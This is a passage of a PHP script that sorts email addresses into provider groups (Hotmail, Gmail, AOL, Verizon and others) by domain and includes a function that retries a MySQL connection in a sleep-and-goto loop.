== 'hotmail.com' || $isp == 'live.com' || $isp == 'outlook.com' ){ $isp='hotmail'; return $isp; } if ($isp == 'gmail.com' || $isp == 'googlemail.com' ){ $isp='gmail'; return $isp; } if ($isp == 'aol.com' || $isp == 'wmconnect.com' || $isp == 'aim.com' || $isp == 'cs.com' || $isp == 'netscape.com' ){ $isp='aol'; return $isp; } if ($isp == 'verizon.net' || $isp == 'verizon.com' ){ $isp='verizon'; return $isp; } if ($isp == 'att.net' ){ $isp='att'; return $isp; } if ($isp == 'comcast.net' ){ $isp='comcast'; return $isp; } if ($isp == 'comcast.net' ){ $isp='comcast'; return $isp; } if ($isp == 'sbcglobal.com' ){ $isp='sbcglobal'; return $isp; } $isp='other'; return $isp; } function mysqlreconnect() { global $link1,$db_host1,$db_user1,$db_pass1,$db_database1; echo "\n RECONNECTING MYSQL SLEEP 62 \n"; my: sleep(62); @mysql_close($link1); @$link1 = mysql_connect($db_host1,$db_user1,$db_pass1); @mysql_select_db($db_database1,$link1); if(!@mysql_ping($link1)){ echo "\n RECONNECTING AGAIN \n";goto my; } } ?>
Save